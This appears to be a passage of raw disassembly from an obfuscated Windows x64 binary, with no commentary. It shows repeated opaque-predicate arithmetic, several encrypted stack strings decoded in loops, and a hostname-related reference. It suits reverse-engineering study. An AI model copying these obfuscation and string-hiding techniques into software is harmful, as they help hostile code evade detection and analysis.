movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si r13d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r13d
test eax, eax
mov r15d, dword [rsp + 0x70]
jne 0x1400412f0
mov r15, r14
mov rdx, r14
mov r12d, dword [rsp + 0x60]
mov r13d, dword [rsp + 0x60]
nop dword [rax]
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004262d
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004262d
mov esi, 7
mov dword [rsp + 0x60], esi
jmp 0x1400426c9
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400426c5
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si esi, xmm0
mov dword [rsp + 0x60], esi
jmp 0x1400426c9
mov esi, dword [rsp + 0x60]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140043721
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043715
mov byte [rsp + 0xb80], 0xd6
mov byte [rsp + 0xb81], 0xd5
mov byte [rsp + 0xb82], 0xd4
mov byte [rsp + 0xb83], 0xeb
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb84], xmm0
mov byte [rsp + 0xb94], al
xor r14d, r14d
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x15
jae 0x1400427f1
nop
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xb80]
movabs rax, 0x8146da8d7e851d9d
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x4b
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xb80], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x15
jb 0x1400427a0
mov eax, dword [rsp + 0xb80]
cmp dword [r15 + 0x58], eax
je 0x1400428ad
mov byte [rsp + 0xba0], 0xcf
mov byte [rsp + 0xba1], 0x85
mov byte [rsp + 0xba2], 0x84
mov byte [rsp + 0xba3], 0x8b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xba4], xmm0
mov qword [rsp + 0xbb4], rax
mov byte [rsp + 0xbbc], al
mov qword [rsp + 0x58], r14
mov rax, qword [rsp + 0x58]
cmp rax, 0x1d
jae 0x14004289b
nop
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xba0]
add rcx, 0x11f15
movzx eax, cl
and al, dl
add al, al
sub cl, al
add cl, 0x6d
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xba0], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1d
jb 0x140042850
mov eax, dword [rsp + 0xba0]
cmp dword [r15 + 0x64], eax
mov edx, 1
je 0x1400428b0
mov rdx, r14
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
xorps xmm0, xmm0
cvtsi2sd xmm0, rdx
mulsd xmm1, xmm0
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004296d
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004296d
mov esi, 7
mov dword [rsp + 0x78], esi
jmp 0x140042a09
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042a05
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si esi, xmm0
mov dword [rsp + 0x78], esi
jmp 0x140042a09
mov esi, dword [rsp + 0x78]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x140043715
xor edx, edx
lea rcx, [rsp + 0x1a68]
call fcn.1400020e0
mov dword [rsp + 0x74], r14d
call fcn.140003750
movsx ebx, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx r8d, al
imul ebx, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rbx*8]
add eax, r8d
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042b61
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140042b61
mov eax, 7
mov dword [rsp + 0x6c], eax
jmp 0x140042bfd
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042bf9
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si eax, xmm0
mov dword [rsp + 0x6c], eax
jmp 0x140042bfd
mov eax, dword [rsp + 0x6c]
cmp r14d, eax
jge 0x140043715
mov byte [rsp + 0xbc0], 0x66
mov byte [rsp + 0xbc1], 0x79
mov byte [rsp + 0xbc2], 0x78
mov byte [rsp + 0xbc3], 0x7b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xbc4], xmm0
mov qword [rsp + 0xbd4], rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1c
jae 0x140042ca1
nop dword [rax + rax]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xbc0]
movabs rax, 0x4749d17af96f
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 9
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xbc0], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1c
jb 0x140042c50
mov r14d, dword [rsp + 0xbc0]
mov eax, r14d
cmp eax, dword [r15 + 0x58]
jae 0x140043707
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400436ff
mov eax, dword [r15 + 0x58]
dec eax
xor ecx, ecx
cmp r14d, eax
sete cl
xorps xmm2, xmm2
cvtsi2sd xmm2, rcx
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042dc3
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x140042dc3
mov r12d, 7
jmp 0x140042e56
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140042e56
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si r12d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*4]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r12d
test eax, eax
je 0x140042fa7
mov byte [rsp + 0xbe0], 0xb1
mov byte [rsp + 0xbe1], 0xbf
mov byte [rsp + 0xbe2], 0xa4
mov byte [rsp + 0xbe3], 0x83
mov byte [rsp + 0xbe4], 0x68
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xbe5], xmm0
mov dword [rsp + 0xbf5], eax
mov word [rsp + 0xbf9], ax
mov byte [rsp + 0xbfb], al
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1c
jae 0x140042f51
nop word [rax + rax]
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0xbe0]
movabs rax, 0x474e9fc35e32
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x5e
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0xbe0], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x1c
jb 0x140042f00
mov eax, r14d
movzx r8d, byte [rax + r15 + 0x50]
lea rdx, [rsp + 0xbe0]
lea rcx, [rsp + 0x2650]
call fcn.14005df00
lea rax, [rsp + 0x2650]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x140042f80
lea rdx, [rsp + 0x2650]
lea rcx, [rsp + 0x1a68]
call fcn.140002020
inc r14d
jmp 0x140042ca9
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*8]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400436ff
call fcn.1400037a0
movsx edi, al
call fcn.140003770
movsx ebx, al
call fcn.140003780
movsx edx, byte [0x14007d2e0]
imul edx, ebx
lea ebx, [rdx + rdx*2]
sub ebx, edi
movsx edx, byte [0x14007c0dc]
movsx ecx, al
lea eax, [rbx + rdx]
add eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400430da
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x1400430da
mov esi, 7
mov dword [rsp + 0x64], esi
jmp 0x140043176
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043172
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si esi, xmm0
mov dword [rsp + 0x64], esi
jmp 0x140043176
mov esi, dword [rsp + 0x64]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, esi
test eax, eax
je 0x14004360c
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm8
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043268
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x1400432d3
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400432d3
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x58]
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rcx + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400436ff
call fcn.140003750
movsx esi, al
call fcn.140003760
movsx edi, al
call fcn.140003790
movsx ebx, al
mov eax, esi
imul eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, ebx
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm2, xmm2
cvtsi2sd xmm2, rax
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm2
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004340c
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
je 0x14004340c
mov r13d, 7
jmp 0x14004349f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x14004349f
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*8]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
mulsd xmm0, qword [rsp + 0x58]
cvttsd2si r13d, xmm0
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
imul eax, edx, 7
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
sub eax, ecx
imul eax, r13d
test eax, eax
je 0x1400436ff
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
subsd xmm1, xmm0
mulsd xmm1, xmm6
movsd qword [rsp + 0x58], xmm1
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*2]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x140043595
call fcn.140003780
movsx esi, al
call fcn.140003770
movsx edi, al
call fcn.1400037a0
movsx ebx, byte [0x14007d2e0]
imul ebx, edi
shl ebx, 3
movsx eax, al
sub ebx, eax
movsx eax, byte [0x14007c0dc]
mov edx, esi
add eax, ebx
add edx, eax
jne 0x1400436ff
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea eax, [rdx + rdx*4]
movsx ecx, byte [reloc.OLEAUT32.dll_VariantCopy]
add eax, ecx
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400436ff
movzx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
call fcn.140003790
call fcn.140003760
call fcn.140003750
movzx eax, byte [reloc.OLEAUT32.dll_VariantClear]
movzx eax, byte [0x14007c0db]
movsd xmm0, qword [rsp + 0x58]
inc r14d
jmp 0x140042ca9
mov byte [rsp + 0x130], 0x2d
mov byte [rsp + 0x131], gethostname
mov byte [rsp + 0x132], 0x3a
mov byte [rsp + 0x133], 0x1b
mov byte [rsp + 0x134], 0x31
mov byte [rsp + 0x135], 0xc1
xor eax, eax
mov qword [rsp + 0x136], rax
mov word [rsp + 0x13e], ax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x10
jae 0x1400436b1
nop
mov rcx, qword [rsp + 0x58]
mov rax, qword [rsp + 0x58]
movzx edx, byte [rsp + rax + 0x130]
movabs rax, 0x9d3c4830d79ff7a1
add rcx, rax
movzx eax, cl
and al, dl
add al, al
sub cl, al
sub cl, 0x67
add cl, dl
mov rax, qword [rsp + 0x58]
mov byte [rsp + rax + 0x130], cl
mov rax, qword [rsp + 0x58]
inc rax
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
cmp rax, 0x10
jb 0x140043660
mov eax, r14d
movzx r8d, byte [rax + r15 + 0x50]
lea rdx, [rsp + 0x130]
lea rcx, [rsp + 0x2658]
call fcn.14005df00
lea rax, [rsp + 0x2658]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], 0
jne 0x1400436e0
lea rdx, [rsp + 0x2658]
lea rcx, [rsp + 0x1a68]
call fcn.140002020
inc r14d
jmp 0x140042ca9
inc dword [rsp + 0x74]
mov r14d, dword [rsp + 0x74]
jmp 0x140042a67
mov rdx, qword [r15 + 8]
mov r15, rdx
jmp 0x140042570
call fcn.140003790
movsx edi, al
call fcn.140003760
movsx ebx, al
call fcn.140003750
mov edx, ebx
movsx ecx, al
imul edx, ecx
lea edx, [rdx + rdx*4]
movsx eax, byte [reloc.OLEAUT32.dll_VariantCopy]
lea eax, [rax + rdx*2]
add eax, edi
movsx ecx, byte [reloc.OLEAUT32.dll_VariantClear]
xor edx, edx
div ecx
movsx ecx, byte [0x14007c0db]
cmp eax, ecx
je 0x1400439d1
movsx eax, byte [0x14007c0da]
movd xmm1, eax
cvtdq2pd xmm1, xmm1
movsx eax, byte [0x14007c0dc]
movd xmm0, eax
cvtdq2pd xmm0, xmm0
addsd xmm0, xmm0
